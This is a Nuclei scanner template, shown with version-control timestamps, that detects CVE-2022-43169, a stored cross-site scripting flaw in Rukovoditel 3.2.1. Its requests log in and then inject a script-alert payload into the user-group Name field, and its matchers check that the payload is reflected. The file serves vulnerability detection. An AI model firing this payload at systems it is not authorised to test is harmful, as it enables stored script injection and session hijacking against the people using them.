nuclei-templates/http/cves/2022/CVE-2022-43169.yaml

68 lines
2.7 KiB
YAML
Raw Normal View History

2023-07-07 09:38:49 +00:00
id: CVE-2022-43169
info:
name: Rukovoditel <= 3.2.1 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
A stored cross-site scripting (XSS) vulnerability in the Users Access Groups feature (/index.php?module=users_groups/users_groups) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter after clicking "Add New Group".
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade Rukovoditel to a version higher than 3.2.1 or apply the necessary patches provided by the vendor to mitigate the XSS vulnerability.
2023-07-07 09:38:49 +00:00
reference:
- https://github.com/anhdq201/rukovoditel/issues/3
- http://rukovoditel.com/
- https://nvd.nist.gov/vuln/detail/CVE-2022-43169
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-43169
cwe-id: CWE-79
epss-score: 0.00197
epss-percentile: 0.56746
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
2023-07-07 09:38:49 +00:00
metadata:
verified: true
2023-09-06 11:59:08 +00:00
max-request: 3
2023-07-11 19:49:27 +00:00
vendor: rukovoditel
product: rukovoditel
2023-07-07 10:48:49 +00:00
tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated
2023-07-11 19:49:27 +00:00
2023-07-07 09:38:49 +00:00
http:
- raw:
- |
GET /index.php?module=users/login HTTP/1.1
Host: {{Hostname}}
- |
POST /index.php?module=users/login&action=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
form_session_token={{nonce}}&username={{username}}&password={{password}}
- |
POST /index.php?module=users_groups/users_groups&action=save&token={{nonce}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-07-07 10:51:07 +00:00
form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=&notes=&ldap_filter=
2023-07-07 09:38:49 +00:00
redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'status_code_3 == 200'
- 'contains(content_type_3, "text/html")'
2023-07-07 10:51:07 +00:00
- 'contains(body_3, "<script>alert(document.domain)</script>")'
2023-07-07 09:38:49 +00:00
- 'contains(body_3, "rukovoditel")'
condition: and
extractors:
- type: regex
name: nonce
group: 1
regex:
- 'id="form_session_token" value="(.*)" type="hidden"'
2023-07-11 19:49:27 +00:00
internal: true
# digest: 4b0a00483046022100ceebff44463a50c3f8cdfd03eb5a3449476a6d347a5014da85b0dc03d249e1dc02210089091f4d3daefd628b027f9ba865a756c4f31281aec45252b014c6653e2ebb28:922c64590222798bb761d5b6d8e72950